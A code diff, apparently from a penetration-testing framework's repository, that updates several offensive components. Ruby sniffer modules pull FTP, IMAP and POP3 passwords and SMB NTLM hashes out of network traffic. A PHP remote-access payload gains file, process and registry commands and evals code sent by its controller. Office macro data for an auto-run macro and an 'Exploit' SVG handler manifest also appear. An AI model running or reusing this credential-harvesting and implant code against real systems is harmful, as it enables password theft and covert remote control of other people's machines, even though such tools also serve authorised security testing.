w:hyperlink="hyperlink" w:followedHyperlink="followedHyperlink"/><w:shapeDefaults><o:shapedefaults v:ext="edit" spidmax="1027"/><o:shapelayout v:ext="edit"><o:idmap v:ext="edit" data="1"/></o:shapelayout></w:shapeDefaults><w:decimalSymbol w:val="."/><w:listSeparator w:val=","/></w:settings>
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
+2
View File
@@ -0,0 +1,2 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<wne:vbaSuppData xmlns:wpc="http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:m="http://schemas.openxmlformats.org/officeDocument/2006/math" xmlns:v="urn:schemas-microsoft-com:vml" xmlns:wp14="http://schemas.microsoft.com/office/word/2010/wordprocessingDrawing" xmlns:wp="http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing" xmlns:w10="urn:schemas-microsoft-com:office:word" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:w14="http://schemas.microsoft.com/office/word/2010/wordml" xmlns:wpg="http://schemas.microsoft.com/office/word/2010/wordprocessingGroup" xmlns:wpi="http://schemas.microsoft.com/office/word/2010/wordprocessingInk" xmlns:wne="http://schemas.microsoft.com/office/word/2006/wordml" xmlns:wps="http://schemas.microsoft.com/office/word/2010/wordprocessingShape" mc:Ignorable="w14 wp14"><wne:mcds><wne:mcd wne:macroName="PROJECT.NEWMACROS.AUTOOPEN" wne:name="Project.NewMacros.AutoOpen" wne:bEncrypt="00" wne:cmg="56"/></wne:mcds></wne:vbaSuppData>
Binary file not shown.
+2
View File
@@ -0,0 +1,2 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<w:webSettings xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:w14="http://schemas.microsoft.com/office/word/2010/wordml" mc:Ignorable="w14"><w:optimizeForBrowser/><w:allowPNG/></w:webSettings>
BIN
View File
Binary file not shown.
BIN
View File
Binary file not shown.
BIN
View File
Binary file not shown.
BIN
View File
Binary file not shown.
Binary file not shown.
Binary file not shown.
+3
View File
@@ -0,0 +1,3 @@
Manifest-Version: 1.0
SVG-Handler-Class: Exploit
BIN
View File
Binary file not shown.
+22
View File
@@ -0,0 +1,22 @@
function randText(newLength:Number):String{
var a:String = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
var alphabet:Array = a.split("");
var randomLetter:String = "";
for (var i:Number = 0; i < newLength; i++){
randomLetter += alphabet[Math.floor(Math.random() * alphabet.length)];
}
return randomLetter;
}
var connect_nc:NetConnection = new NetConnection();
connect_nc.connect(null);
var stream_ns:NetStream = new NetStream(connect_nc);
stream_ns.onStatus = function(p_evt:Object):Void { }
video.attachVideo(stream_ns);
stream_ns.play(randText(Math.floor(Math.random() * 8) + 4) + ".mp4");
BIN
View File
Binary file not shown.
BIN
View File
Binary file not shown.
+11 -11
View File
@@ -15,6 +15,7 @@ class SnifferFTP < BaseProtocolParser
:pass => /^PASS\s+([^\s]+)/i,
:login_pass => /^(230\s*[^\n]+)/i,
:login_fail => /^(5\d\d\s*[^\n]+)/i,
:bye => /^221/
}
end
@@ -23,6 +24,7 @@ class SnifferFTP < BaseProtocolParser
return unless pkt.is_tcp?
return if (pkt.tcp_sport != 21 and pkt.tcp_dport != 21)
s = find_session((pkt.tcp_sport == 21) ? get_session_src(pkt) : get_session_dst(pkt))
s[:sname] ||= "ftp"
self.sigs.each_key do |k|
# There is only one pattern per run to test
@@ -38,21 +40,17 @@ class SnifferFTP < BaseProtocolParser
when :login_fail
if(s[:user] and s[:pass])
s[:proto]="ftp"
s[:extra]="Failed Login. Banner: #{s[:banner]}"
report_auth_info(s)
print_status("Failed FTP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})")
report_auth_info(s.merge({:active => false}))
print_status("Failed FTP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]}")
s[:pass]=""
s[:pass] = ""
return
end
when :login_pass
if(s[:user] and s[:pass])
s[:proto]="ftp"
s[:extra]="Successful Login. Banner: #{s[:banner]}"
report_auth_info(s)
print_status("Successful FTP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})")
print_status("Successful FTP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]}")
# Remove it form the session objects so freeup memory
sessions.delete(s[:session])
return
@@ -60,12 +58,14 @@ class SnifferFTP < BaseProtocolParser
when :banner
# Because some ftp server send multiple banner we take only the first one and ignore the rest
if not (s[:banner])
sessions[s[:session]].merge!({k => matches})
s[:name]="FTP Server Welcome Banner: \"#{s[:banner]}\""
if not (s[:info])
s[:info] = matches
report_service(s)
end
when :bye
sessions.delete(s[:session])
when nil
# No matches, no saved state
else
+4 -10
View File
@@ -25,6 +25,7 @@ class SnifferIMAP < BaseProtocolParser
return unless pkt.is_tcp?
return if (pkt.tcp_sport != 143 and pkt.tcp_dport != 143)
s = find_session((pkt.tcp_sport == 143) ? get_session_src(pkt) : get_session_dst(pkt))
s[:sname] ||= "imap4"
self.sigs.each_key do |k|
# There is only one pattern per run to test
@@ -38,14 +39,11 @@ class SnifferIMAP < BaseProtocolParser
case matched
when :banner
s[:banner] = matches
s[:name] = "IMAP Server Welcome Banner: #{s[:banner]}"
s[:info] = matches
report_service(s)
when :login_pass
s[:proto]="imap4"
s[:extra]="Sucessful Login. Banner: #{s[:banner]}"
report_auth_info(s)
print_status("Successful IMAP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})")
@@ -54,18 +52,14 @@ class SnifferIMAP < BaseProtocolParser
when :login_fail
s[:proto]="imap4"
s[:extra]="Failed Login. Banner: #{s[:banner]}"
report_auth_info(s)
report_auth_info(s.merge({:active => false}))
print_status("Failed IMAP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})")
# Remove it form the session objects so freeup
sessions.delete(s[:session])
when :login_bad
s[:proto]="imap4"
s[:extra]="Failed Login. Banner: #{s[:banner]}"
report_auth_info(s)
report_auth_info(s.merge({:active => false}))
print_status("Bad IMAP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})")
# Remove it form the session objects so freeup
+6 -4
View File
@@ -38,8 +38,9 @@ class SnifferPOP3 < BaseProtocolParser
case s[:last]
when nil
# Its the first +OK must include the banner, worst case its just +OK
s[:banner] = matches
s[:name] = "POP3 Server Welcome Banner: \"#{s[:banner]}\""
s[:info] = matches
s[:proto] = "tcp"
s[:name] = "pop3"
report_service(s)
when :user
@@ -48,8 +49,9 @@ class SnifferPOP3 < BaseProtocolParser
when :pass
# Perfect we get an +OK after a PASS command this means right password given :-)
s[:proto]="pop3"
s[:extra]="Successful Login. Banner: #{s[:banner]}"
s[:proto] = "tcp"
s[:name] = "pop3"
s[:extra] = "Successful Login. Banner: #{s[:banner]}"
report_auth_info(s)
print_status("Successful POP3 Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})")
+143 -134
View File
@@ -5,26 +5,31 @@
#
#Memo :
# Authentification without extended security set
#1) client -> server : smb_negotiate (0x72) : smb.flags2.extended_sec = 0
#2) server -> client : smb_negotiate (0x72) : smb.flags2.extended_sec = 0 and contains server challenge (aka encryption key) and wordcount = 17
#3) client -> server : smb_setup_andx (0x73) : contains lm/ntlm hashes and wordcount = 13 (not 0)
#4) server -> client : smb_setup_andx (0x73) : if status = success then authentification ok
#FOR SMBV1
# Authentification without extended security set
#1) client -> server : smb_negotiate (0x72) : smb.flags2.extended_sec = 0
#2) server -> client : smb_negotiate (0x72) : smb.flags2.extended_sec = 0 and contains server challenge (aka encryption key) and wordcount = 17
#3) client -> server : smb_setup_andx (0x73) : contains lm/ntlm hashes and wordcount = 13 (not 0)
#4) server -> client : smb_setup_andx (0x73) : if status = success then authentification ok
# Authentification with extended security set
#1) client -> server : smb_negotiate (0x72) : smb.flags2.extended_sec = 1
#2) server -> client : smb_negotiate (0x72) : smb.flags2.extended_sec = 1
#3) client -> server : smb_setup_andx (0x73) : contains an ntlm_type1 message
#4) server -> client : smb_setup_andx (0x73) : contains an ntlm_type2 message with the server challenge
#5) client -> server : smb_setup_andx (0x73) : contains an ntlm_type3 message with the lm/ntlm hashes
#6) server -> client : smb_setup_andx (0x73) : if status = success then authentification = ok
# Authentification with extended security set
#1) client -> server : smb_negotiate (0x72) : smb.flags2.extended_sec = 1
#2) server -> client : smb_negotiate (0x72) : smb.flags2.extended_sec = 1
#3) client -> server : smb_setup_andx (0x73) : contains an ntlm_type1 message
#4) server -> client : smb_setup_andx (0x73) : contains an ntlm_type2 message with the server challenge
#5) client -> server : smb_setup_andx (0x73) : contains an ntlm_type3 message with the lm/ntlm hashes
#6) server -> client : smb_setup_andx (0x73) : if status = success then authentification = ok
#FOR SMBV2
#SMBv2 is pretty similar. However, extended security is always set and it is using a newer set of smb negociate and session_setup command for requets/response
class SnifferSMB < BaseProtocolParser
def register_sigs
self.sigs = {
:setupandx => /\xffSMB\x73/,
:negotiate => /\xffSMB\x72/,
:smb1_negotiate => /\xffSMB\x72/n,
:smb1_setupandx => /\xffSMB\x73/n,
#:smb2_negotiate => /\xFESMB\x40\x00(.){6}\x00\x00/n,
:smb2_setupandx => /\xFESMB\x40\x00(.){6}\x01\x00/n
}
end
@@ -45,7 +50,7 @@ class SnifferSMB < BaseProtocolParser
end
case matched
when :negotiate
when :smb1_negotiate
payload = pkt.payload.dup
wordcount = payload[36,1].unpack("C")[0]
#negotiate response
@@ -54,128 +59,16 @@ class SnifferSMB < BaseProtocolParser
#the server challenge is here
if flags2 & 0x800 == 0
s[:challenge] = payload[73,8].unpack("H*")[0]
s[:last] = :negotiate
s[:last] = :smb1_negotiate
end
end
when :setupandx
payload = pkt.payload.dup
ntlmpayload = payload[/NTLMSSP\x00.*/m]
if ntlmpayload
ntlmmessagetype = ntlmpayload[8,4].unpack("V")[0]
case ntlmmessagetype
when 2 # challenge
s[:challenge] = ntlmpayload[24,8].unpack("H*")[0]
s[:last] = :ntlm_type2
when 3 # auth
if s[:last] == :ntlm_type2
lmlength = ntlmpayload[12, 2].unpack("v")[0]
lmoffset = ntlmpayload[16, 2].unpack("v")[0]
ntlmlength = ntlmpayload[20, 2].unpack("v")[0]
ntlmoffset = ntlmpayload[24, 2].unpack("v")[0]
domainlength = ntlmpayload[28, 2].unpack("v")[0]
domainoffset = ntlmpayload[32, 2].unpack("v")[0]
usrlength = ntlmpayload[36, 2].unpack("v")[0]
usroffset = ntlmpayload[40, 2].unpack("v")[0]
s[:lmhash] = ntlmpayload[lmoffset, lmlength].unpack("H*")[0] || ''
s[:ntlmhash] = ntlmpayload[ntlmoffset, ntlmlength].unpack("H*")[0] || ''
s[:domain] = ntlmpayload[domainoffset, domainlength].gsub("\x00","") || ''
s[:user] = ntlmpayload[usroffset, usrlength].gsub("\x00","") || ''
secbloblength = payload[51,2].unpack("v")[0]
names = (payload[63..-1][secbloblength..-1] || '').split("\x00\x00").map { |x| x.gsub(/\x00/, '') }
s[:peer_os] = names[0] || ''
s[:peer_lm] = names[1] || ''
s[:last] = :ntlm_type3
end
end
else
wordcount = payload[36,1].unpack("C")[0]
#authentification without smb extended security (smbmount, msf server capture)
if wordcount == 13 and s[:last] == :negotiate
lmlength = payload[51,2].unpack("v")[0]
ntlmlength = payload[53,2].unpack("v")[0]
s[:lmhash] = payload[65,lmlength].unpack("H*")[0]
s[:ntlmhash] = payload[65 + lmlength, ntlmlength].unpack("H*")[0]
names = payload[Range.new(65 + lmlength + ntlmlength,-1)].split("\x00\x00").map { |x| x.gsub(/\x00/, '') }
s[:user] = names[0]
s[:domain] = names[1]
s[:peer_os] = names[2]
s[:peer_lm] = names[3]
s[:last] = :smb_no_ntlm
else
#answer from server
if s[:last] == :ntlm_type3 or s[:last] == :smb_no_ntlm
#do not output anonymous/guest logging
unless s[:user] == '' or s[:ntlmhash] == '' or s[:ntlmhash] =~ /^(00)*$/m
#set lmhash to a default value if not provided
s[:lmhash] = "00" * 24 if s[:lmhash] == '' or s[:lmhash] =~ /^(00)*$/m
s[:lmhash] = "00" * 24 if s[:lmhash] == s[:ntlmhash]
smb_status = payload[9,4].unpack("V")[0]
if smb_status == 0 # success
ntlm_ver = detect_ntlm_ver(s[:lmhash],s[:ntlmhash])
logmessage =
"#{ntlm_ver} Response Captured in session : #{s[:session]} \n" +
"USER:#{s[:user]} DOMAIN:#{s[:domain]} OS:#{s[:peer_os]} LM:#{s[:peer_lm]}\n" +
"SERVER CHALLENGE:#{s[:challenge]} " +
"\nLMHASH:#{s[:lmhash]} " +
"\nNTHASH:#{s[:ntlmhash]}\n"
print_status(logmessage)
src_ip = s[:host]
dst_ip = s[:session].split("-")[1].split(":")[0]
# know this is ugly , last code added :-/
smb_db_type_hash = case ntlm_ver
when "NTLMv1" then "smb_netv1_hash"
when "NTLM2_SESSION" then "smb_netv1_hash"
when "NTLMv2" then "smb_netv2_hash"
end
# DB reporting
report_auth_info(
:host => dst_ip,
:port => 445,
:sname => 'smb',
:user => s[:user],
:pass => s[:domain] + ":" + s[:lmhash] + ":" + s[:ntlmhash] + ":" + s[:challenge],
:type => smb_db_type_hash,
:proof => "DOMAIN=#{s[:domain]} OS=#{s[:peer_os]}",
:active => true
)
report_note(
:host => src_ip,
:type => "smb_peer_os",
:data => s[:peer_os]
) if (s[:peer_os] and s[:peer_os].strip.length > 0)
report_note(
:host => src_ip,
:type => "smb_peer_lm",
:data => s[:peer_lm]
) if (s[:peer_lm] and s[:peer_lm].strip.length > 0)
report_note(
:host => src_ip,
:type => "smb_domain",
:data => s[:domain]
) if (s[:domain] and s[:domain].strip.length > 0)
end
end
end
s[:last] = nil
sessions.delete(s[:session])
end
end
when :smb1_setupandx
s[:smb_version] = "SMBv1"
parse_sessionsetup(pkt, s)
when :smb2_setupandx
s[:smb_version] = "SMBv2"
parse_sessionsetup(pkt, s)
when nil
# No matches, no saved state
else
@@ -197,6 +90,122 @@ class SnifferSMB < BaseProtocolParser
else
raise RuntimeError, "Unknow hash type"
end
end
def parse_sessionsetup(pkt, s)
payload = pkt.payload.dup
ntlmpayload = payload[/NTLMSSP\x00.*/m]
if ntlmpayload
ntlmmessagetype = ntlmpayload[8,4].unpack("V")[0]
case ntlmmessagetype
when 2 # challenge
s[:challenge] = ntlmpayload[24,8].unpack("H*")[0]
s[:last] = :ntlm_type2
when 3 # auth
if s[:last] == :ntlm_type2
lmlength = ntlmpayload[12, 2].unpack("v")[0]
lmoffset = ntlmpayload[16, 2].unpack("v")[0]
ntlmlength = ntlmpayload[20, 2].unpack("v")[0]
ntlmoffset = ntlmpayload[24, 2].unpack("v")[0]
domainlength = ntlmpayload[28, 2].unpack("v")[0]
domainoffset = ntlmpayload[32, 2].unpack("v")[0]
usrlength = ntlmpayload[36, 2].unpack("v")[0]
usroffset = ntlmpayload[40, 2].unpack("v")[0]
s[:lmhash] = ntlmpayload[lmoffset, lmlength].unpack("H*")[0] || ''
s[:ntlmhash] = ntlmpayload[ntlmoffset, ntlmlength].unpack("H*")[0] || ''
s[:domain] = ntlmpayload[domainoffset, domainlength].gsub("\x00","") || ''
s[:user] = ntlmpayload[usroffset, usrlength].gsub("\x00","") || ''
secbloblength = payload[51,2].unpack("v")[0]
names = (payload[63..-1][secbloblength..-1] || '').split("\x00\x00").map { |x| x.gsub(/\x00/, '') }
s[:peer_os] = names[0] || ''
s[:peer_lm] = names[1] || ''
s[:last] = :ntlm_type3
end
end
else
wordcount = payload[36,1].unpack("C")[0]
#authentification without smb extended security (smbmount, msf server capture)
if wordcount == 13 and s[:last] == :smb1_negotiate and s[:smb_version] == "SMBv1"
lmlength = payload[51,2].unpack("v")[0]
ntlmlength = payload[53,2].unpack("v")[0]
s[:lmhash] = payload[65,lmlength].unpack("H*")[0]
s[:ntlmhash] = payload[65 + lmlength, ntlmlength].unpack("H*")[0]
names = payload[Range.new(65 + lmlength + ntlmlength,-1)].split("\x00\x00").map { |x| x.gsub(/\x00/, '') }
s[:user] = names[0]
s[:domain] = names[1]
s[:peer_os] = names[2]
s[:peer_lm] = names[3]
s[:last] = :smb_no_ntlm
else
#answer from server
if s[:last] == :ntlm_type3 or s[:last] == :smb_no_ntlm
#do not output anonymous/guest logging
unless s[:user] == '' or s[:ntlmhash] == '' or s[:ntlmhash] =~ /^(00)*$/m
#set lmhash to a default value if not provided
s[:lmhash] = "00" * 24 if s[:lmhash] == '' or s[:lmhash] =~ /^(00)*$/m
s[:lmhash] = "00" * 24 if s[:lmhash] == s[:ntlmhash]
smb_status = payload[9,4].unpack("V")[0]
if smb_status == 0 # success
ntlm_ver = detect_ntlm_ver(s[:lmhash],s[:ntlmhash])
logmessage =
"#{ntlm_ver} Response Captured in #{s[:smb_version]} session : #{s[:session]} \n" +
"USER:#{s[:user]} DOMAIN:#{s[:domain]} OS:#{s[:peer_os]} LM:#{s[:peer_lm]}\n" +
"SERVER CHALLENGE:#{s[:challenge]} " +
"\nLMHASH:#{s[:lmhash]} " +
"\nNTHASH:#{s[:ntlmhash]}\n"
print_status(logmessage)
src_ip = s[:client_host]
dst_ip = s[:host]
# know this is ugly , last code added :-/
smb_db_type_hash = case ntlm_ver
when "NTLMv1" then "smb_netv1_hash"
when "NTLM2_SESSION" then "smb_netv1_hash"
when "NTLMv2" then "smb_netv2_hash"
end
# DB reporting
report_auth_info(
:host => dst_ip,
:port => 445,
:sname => 'smb',
:user => s[:user],
:pass => s[:domain] + ":" + s[:lmhash] + ":" + s[:ntlmhash] + ":" + s[:challenge],
:type => smb_db_type_hash,
:proof => "DOMAIN=#{s[:domain]} OS=#{s[:peer_os]}",
:active => true
)
report_note(
:host => src_ip,
:type => "smb_peer_os",
:data => s[:peer_os]
) if (s[:peer_os] and s[:peer_os].strip.length > 0)
report_note(
:host => src_ip,
:type => "smb_peer_lm",
:data => s[:peer_lm]
) if (s[:peer_lm] and s[:peer_lm].strip.length > 0)
report_note(
:host => src_ip,
:type => "smb_domain",
:data => s[:domain]
) if (s[:domain] and s[:domain].strip.length > 0)
end
end
end
s[:last] = nil
sessions.delete(s[:session])
end
end
end
end
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
+95 -6
View File
@@ -283,6 +283,7 @@ function cononicalize_path($path) {
# traditionally used this to get environment variables from the server.
#
if (!function_exists('stdapi_fs_file_expand_path')) {
register_command('stdapi_fs_file_expand_path');
function stdapi_fs_file_expand_path($req, &$pkt) {
my_print("doing expand_path");
$path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH);
@@ -320,8 +321,29 @@ function stdapi_fs_file_expand_path($req, &$pkt) {
}
}
if (!function_exists('stdapi_fs_delete_dir')) {
register_command('stdapi_fs_delete_dir');
function stdapi_fs_delete_dir($req, &$pkt) {
my_print("doing rmdir");
$path_tlv = packet_get_tlv($req, TLV_TYPE_DIRECTORY_PATH);
$ret = @rmdir(cononicalize_path($path_tlv['value']));
return $ret ? ERROR_SUCCESS : ERROR_FAILURE;
}
}
if (!function_exists('stdapi_fs_mkdir')) {
register_command('stdapi_fs_mkdir');
function stdapi_fs_mkdir($req, &$pkt) {
my_print("doing mkdir");
$path_tlv = packet_get_tlv($req, TLV_TYPE_DIRECTORY_PATH);
$ret = @mkdir(cononicalize_path($path_tlv['value']));
return $ret ? ERROR_SUCCESS : ERROR_FAILURE;
}
}
# works
if (!function_exists('stdapi_fs_chdir')) {
register_command('stdapi_fs_chdir');
function stdapi_fs_chdir($req, &$pkt) {
my_print("doing chdir");
$path_tlv = packet_get_tlv($req, TLV_TYPE_DIRECTORY_PATH);
@@ -332,6 +354,7 @@ function stdapi_fs_chdir($req, &$pkt) {
# works
if (!function_exists('stdapi_fs_delete')) {
register_command('stdapi_fs_delete');
function stdapi_fs_delete($req, &$pkt) {
my_print("doing delete");
$path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_NAME);
@@ -342,6 +365,7 @@ function stdapi_fs_delete($req, &$pkt) {
# works
if (!function_exists('stdapi_fs_getwd')) {
register_command('stdapi_fs_getwd');
function stdapi_fs_getwd($req, &$pkt) {
my_print("doing pwd");
packet_add_tlv($pkt, create_tlv(TLV_TYPE_DIRECTORY_PATH, getcwd()));
@@ -352,6 +376,7 @@ function stdapi_fs_getwd($req, &$pkt) {
# works partially, need to get the path argument to mean the same thing as in
# windows
if (!function_exists('stdapi_fs_ls')) {
register_command('stdapi_fs_ls');
function stdapi_fs_ls($req, &$pkt) {
my_print("doing ls");
$path_tlv = packet_get_tlv($req, TLV_TYPE_DIRECTORY_PATH);
@@ -392,6 +417,7 @@ function stdapi_fs_ls($req, &$pkt) {
}
if (!function_exists('stdapi_fs_separator')) {
register_command('stdapi_fs_separator');
function stdapi_fs_separator($req, &$pkt) {
packet_add_tlv($pkt, create_tlv(TLV_TYPE_STRING, DIRECTORY_SEPARATOR));
return ERROR_SUCCESS;
@@ -399,6 +425,7 @@ function stdapi_fs_separator($req, &$pkt) {
}
if (!function_exists('stdapi_fs_stat')) {
register_command('stdapi_fs_stat');
function stdapi_fs_stat($req, &$pkt) {
my_print("doing stat");
$path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH);
@@ -431,6 +458,7 @@ function stdapi_fs_stat($req, &$pkt) {
# works
if (!function_exists('stdapi_fs_delete_file')) {
register_command('stdapi_fs_delete_file');
function stdapi_fs_delete_file($req, &$pkt) {
my_print("doing delete");
$path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH);
@@ -446,6 +474,7 @@ function stdapi_fs_delete_file($req, &$pkt) {
}
if (!function_exists('stdapi_fs_search')) {
register_command('stdapi_fs_search');
function stdapi_fs_search($req, &$pkt) {
my_print("doing search");
@@ -483,10 +512,50 @@ function stdapi_fs_search($req, &$pkt) {
}
}
if (!function_exists('stdapi_fs_md5')) {
register_command("stdapi_fs_md5");
function stdapi_fs_md5($req, &$pkt) {
$path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH);
$path = cononicalize_path($path_tlv['value']);
if (is_callable("md5_file")) {
$md5 = md5_file($path);
} else {
$md5 = md5(file_get_contents($path));
}
$md5 = pack("H*", $md5);
# Ghetto abuse of file name type to indicate the md5 result
packet_add_tlv($pkt, create_tlv(TLV_TYPE_FILE_NAME, $md5));
return ERROR_SUCCESS;
}
}
if (!function_exists('stdapi_fs_sha1')) {
register_command("stdapi_fs_sha1");
function stdapi_fs_sha1($req, &$pkt) {
$path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH);
$path = cononicalize_path($path_tlv['value']);
if (is_callable("sha1_file")) {
$sha1 = sha1_file($path);
} else {
$sha1 = sha1(file_get_contents($path));
}
$sha1 = pack("H*", $sha1);
# Ghetto abuse of file name type to indicate the sha1 result
packet_add_tlv($pkt, create_tlv(TLV_TYPE_FILE_NAME, $sha1));
return ERROR_SUCCESS;
}
}
# Sys Config
# works
if (!function_exists('stdapi_sys_config_getuid')) {
register_command('stdapi_sys_config_getuid');
function stdapi_sys_config_getuid($req, &$pkt) {
my_print("doing getuid");
if (is_callable('posix_getuid')) {
@@ -505,15 +574,17 @@ function stdapi_sys_config_getuid($req, &$pkt) {
}
# Unimplemented becuase it's unimplementable
if (!function_exists('stdapi_sys_config_rev2self')) {
function stdapi_sys_config_rev2self($req, &$pkt) {
my_print("doing rev2self");
return ERROR_FAILURE;
}
}
#if (!function_exists('stdapi_sys_config_rev2self')) {
#register_command('stdapi_sys_config_rev2self');
#function stdapi_sys_config_rev2self($req, &$pkt) {
# my_print("doing rev2self");
# return ERROR_FAILURE;
#}
#}
# works
if (!function_exists('stdapi_sys_config_sysinfo')) {
register_command('stdapi_sys_config_sysinfo');
function stdapi_sys_config_sysinfo($req, &$pkt) {
my_print("doing sysinfo");
packet_add_tlv($pkt, create_tlv(TLV_TYPE_COMPUTER_NAME, php_uname("n")));
@@ -526,6 +597,7 @@ function stdapi_sys_config_sysinfo($req, &$pkt) {
$GLOBALS['processes'] = array();
if (!function_exists('stdapi_sys_process_execute')) {
register_command('stdapi_sys_process_execute');
function stdapi_sys_process_execute($req, &$pkt) {
global $channel_process_map, $processes;
@@ -600,6 +672,7 @@ function stdapi_sys_process_execute($req, &$pkt) {
if (!function_exists('stdapi_sys_process_close')) {
register_command('stdapi_sys_process_close');
function stdapi_sys_process_close($req, &$pkt) {
global $processes;
my_print("doing process_close");
@@ -653,6 +726,7 @@ function close_process($proc) {
# to decide what options to send to ps for portability and for information
# usefulness.
if (!function_exists('stdapi_sys_process_get_processes')) {
register_command('stdapi_sys_process_get_processes');
function stdapi_sys_process_get_processes($req, &$pkt) {
my_print("doing get_processes");
$list = array();
@@ -702,6 +776,7 @@ function stdapi_sys_process_get_processes($req, &$pkt) {
# works
if (!function_exists('stdapi_sys_process_getpid')) {
register_command('stdapi_sys_process_getpid');
function stdapi_sys_process_getpid($req, &$pkt) {
my_print("doing getpid");
packet_add_tlv($pkt, create_tlv(TLV_TYPE_PID, getmypid()));
@@ -710,6 +785,7 @@ function stdapi_sys_process_getpid($req, &$pkt) {
}
if (!function_exists('stdapi_sys_process_kill')) {
register_command('stdapi_sys_process_kill');
function stdapi_sys_process_kill($req, &$pkt) {
# The existence of posix_kill is unlikely (it's a php compile-time option
# that isn't enabled by default, but better to try it and avoid shelling
@@ -740,6 +816,7 @@ function stdapi_sys_process_kill($req, &$pkt) {
}
if (!function_exists('stdapi_net_socket_tcp_shutdown')) {
register_command('stdapi_net_socket_tcp_shutdown');
function stdapi_net_socket_tcp_shutdown($req, &$pkt) {
my_print("doing stdapi_net_socket_tcp_shutdown");
$cid_tlv = packet_get_tlv($req, TLV_TYPE_CHANNEL_ID);
@@ -780,6 +857,9 @@ function deregister_registry_key($id) {
if (!function_exists('stdapi_registry_create_key')) {
if (is_windows() and is_callable('reg_open_key')) {
register_command('stdapi_registry_create_key');
}
function stdapi_registry_create_key($req, &$pkt) {
my_print("doing stdapi_registry_create_key");
if (is_windows() and is_callable('reg_open_key')) {
@@ -813,6 +893,9 @@ function stdapi_registry_create_key($req, &$pkt) {
}
if (!function_exists('stdapi_registry_close_key')) {
if (is_windows() and is_callable('reg_open_key')) {
register_command('stdapi_registry_close_key');
}
function stdapi_registry_close_key($req, &$pkt) {
if (is_windows() and is_callable('reg_open_key')) {
global $registry_handles;
@@ -831,6 +914,9 @@ function stdapi_registry_close_key($req, &$pkt) {
}
if (!function_exists('stdapi_registry_query_value')) {
if (is_windows() and is_callable('reg_open_key')) {
register_command('stdapi_registry_query_value');
}
function stdapi_registry_query_value($req, &$pkt) {
if (is_windows() and is_callable('reg_open_key')) {
global $registry_handles;
@@ -868,6 +954,9 @@ function stdapi_registry_query_value($req, &$pkt) {
}
if (!function_exists('stdapi_registry_set_value')) {
if (is_windows() and is_callable('reg_open_key')) {
register_command('stdapi_registry_set_value');
}
function stdapi_registry_set_value($req, &$pkt) {
if (is_windows() and is_callable('reg_open_key')) {
global $registry_handles;
Binary file not shown.
Binary file not shown.
+21 -3
View File
@@ -30,6 +30,18 @@ if (!isset($GLOBALS['readers'])) {
$GLOBALS['readers'] = array();
}
# global list of extension commands
if (!isset($GLOBALS['commands'])) {
$GLOBALS['commands'] = array("core_loadlib");
}
function register_command($c) {
global $commands;
if (! in_array($c, $commands)) {
array_push($commands, $c);
}
}
function my_print($str) {
#error_log($str);
}
@@ -389,14 +401,20 @@ function core_shutdown($req, &$pkt) {
# isn't compressed before eval'ing it
# TODO: check for zlib support and decompress if possible
function core_loadlib($req, &$pkt) {
global $commands;
my_print("doing core_loadlib");
$data_tlv = packet_get_tlv($req, TLV_TYPE_DATA);
if (($data_tlv['type'] & TLV_META_TYPE_COMPRESSED) == TLV_META_TYPE_COMPRESSED) {
return ERROR_FAILURE;
} else {
eval($data_tlv['value']);
return ERROR_SUCCESS;
}
$tmp = $commands;
eval($data_tlv['value']);
$new = array_diff($commands, $tmp);
foreach ($new as $meth) {
packet_add_tlv($pkt, create_tlv(TLV_TYPE_METHOD, $meth));
}
return ERROR_SUCCESS;
}
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Executable
+388
View File
@@ -0,0 +1,388 @@
# EXTENSIONS => CONTENT TYPE
csh: application/x-csh
x_t: model/vnd.parasolid.transmit.text
kpt: application/vnd.kde.kpresenter
vst: application/vnd.visio
ksp: application/vnd.kde.kspread
fsc: application/vnd.fsc.weblaunch
vcs: text/x-vcalendar
hvs: application/vnd.yamaha.hv-script
seml: application/vnd.sealed.eml
lzh: application/octet-stream
movie: video/x-sgi-movie
wav: audio/x-wav
tbz2: application/x-gtar
plt: application/vnd.hp-HPGL
3gpp: video/3gpp
eol: audio/vnd.digital-winds
vsw: application/vnd.visio
rtf: text/rtf
rgb: image/x-rgb
midi: audio/x-midi
sit: application/x-stuffit
mov: video/quicktime
kfo: application/vnd.kde.kformula
rdf: application/rdf+xml
wpd: application/vnd.wordperfect
hbc: application/vnd.hbci
ogg: application/ogg
dwf: x-drawing/dwf
pbm: image/x-portable-bitmap
